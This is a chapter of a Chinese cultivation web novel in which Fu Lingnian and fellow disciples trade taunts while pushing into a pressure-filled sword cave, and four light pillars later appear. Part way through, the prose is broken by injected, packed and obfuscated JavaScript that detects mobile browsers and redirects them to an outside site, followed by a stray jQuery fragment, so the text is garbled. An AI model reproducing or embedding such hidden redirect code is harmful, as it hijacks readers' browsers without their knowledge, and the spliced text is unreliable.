在江钰景愣神的功夫里,她一侧身躲了过去,成功躲进了从承言的剑意护罩内。 江钰景反应过来后,正想发怒,身侧却又有两道人影闪过。是温季才与高墨贤。 三人几乎都要黏在从承言身上了。 从承言不动声色的将护罩扩大,将他们笼罩于内。 “你们倒是懂得享受。”江钰景咬牙切齿。看见温季才朝自己做了个鬼脸,更是火气直冒:“小人得志。” 他转而盯着从承言:“从师弟,上一次的教训你还没受够?跟着这群鼠辈厮混,迟早……” 他的话未说完,却见温季才一把捂住了从承言的耳朵。 “别听别听,是恶言。”伏令年在一旁摇着头,拍着从承言的肩膀:“他嫉妒你有朋友呢。” 江钰景:…… 若不是他们身处剑窟之中,连奔跑都艰难,他一定会动手割掉她的舌头。 一人不敌四嘴,其中两张还特别欠。江钰景忍了又忍,最后恨恨地道:“我有大师姐!” 他往孟如烟的身旁靠了靠,露出一副不屑与伏令年几人为伍的神情。 “我们有大师兄!” “你们大师兄可不在此处,护不住你们。”江钰景冷笑一声。 “我们有朋友护着。” 安静的队伍内只有几人的拌嘴声,内容幼稚得让人哭笑不得。 剑窟内的气温很低,伏令年的额头却已渗出点点汗迹。身体无时无刻都有被针扎的刺痛感,每踏出一步都极为艰辛。 但她还是抽出一部分精神跟江钰景有一搭没一搭地拌嘴,这会让她心中的烦躁感消减。 中途,队伍遇上了上一批折返的部分修士。 退回来的修士无一例外都面色不佳,周身灵力波动紊乱。若是久留,走火入魔只是时间的问题。 一部分坚持不住的修士照应着折返的修士一同往剑窟外退去哪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15091030|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再往前行进,地面愈加倾斜,大地遍布着交错的伤痕,像是有人用无形的剑对地面劈砍了前百回。或深或浅,走势不一。 前行的路途是枯燥且痛苦的,连江钰景也没精力跟伏令年几人拌嘴了。在众人皆未开口说话时,伏令年的注意力便不由自主地放在了地面。 她缓缓向前走着,将道道痕迹收入眼帘。她似乎能从这些痕迹中寻到种种运剑的规律,脑海中自然而然地模拟着不同的剑招。 周围的一切仿佛都变得朦胧了,伏令年的眼里只余下面前的土地。她贪婪地跟随着剑痕向前,脚步不自觉地放慢,每一步似乎都在与无形的剑意共鸣。 她的呼吸逐渐变得急促,心跳在加速,血液涌上头顶。体内的归年随着她的呼吸微微颤动,似乎正在缓缓复苏。全身的压力消失了,剑痕仿佛活了过来,剑气在意识内纵横交错。指尖微微颤抖着,伏令年几乎要随着剑痕起舞。 【不要看了。】 伏令年悚然一惊,从这种玄乎的状态里挣脱出来。 压力再度将她包裹于内,剧烈的刺痛感让伏令年清醒过来。 不知何时,她居然偏移了行走的方向,周围的人似乎都没有察觉,依旧在静默地行进。 太阳穴位置一抽一抽得疼,伏令年感到精疲力尽。这种感觉就像是熬了一整夜,第二日还得起床上早八,上得还是让人头疼的科目。 幸而不多时,队伍便再度遇上了折返回来的修士。伏令年随着这一批修士撤出了剑窟。 循环往复,反复多次,每次进入剑窟,伏令年都要比上一回更深入一段距离。 但这远远不够。 没有人知晓这剑窟究竟有多深,走到何处停下才是尽头。 目前为止,最为深入的是由许子迁领头的小队。但除去愈加强烈的威压与剑意,便再无其余变化。 变故便是在伏令年第四次进入剑窟时发生的。 队伍照常行进之时,四道光柱忽地拔地而起。它们似乎位于剑窟的最中央,分列于四方。 光柱的高度各不相同,其中两道光柱较为凸出。 四道光柱,让人很容易便会联想起四境。 而在第四次探索结束,队伍向后撤退时,伏令年终于确定了这一点——其中一道光柱正随着他们的撤离而下降。 截止第五日,所有队伍皆铩羽而归。 东境暂时停下了探索的脚步,所有修士皆留在剑窟外休整。 四道光柱能让他们清楚地观测到其余境的状况。 综合实力最强的北境显然也未取得突破性的进展。晏扶摇再强,也不可能护着北境的所有修士闯过剑窟。 元婴期修士们商议着对策,但始终找不到最好的解决方法。 “若是一人携带多个身份铭牌呢?”有人问。 身份铭牌是累计积分的载体,若是一人携带着多个身份铭牌呢? 这地确是个问题。 众人沉默了一瞬,齐齐将目光落到了说话之人身上。 伏令年正在给眼巴巴望着自己的阿九分馒头,冷不丁被这么多人齐齐盯着,动作微顿。 她抬起头,无辜地眨了眨眼睛,好像刚刚说话的人不是自己。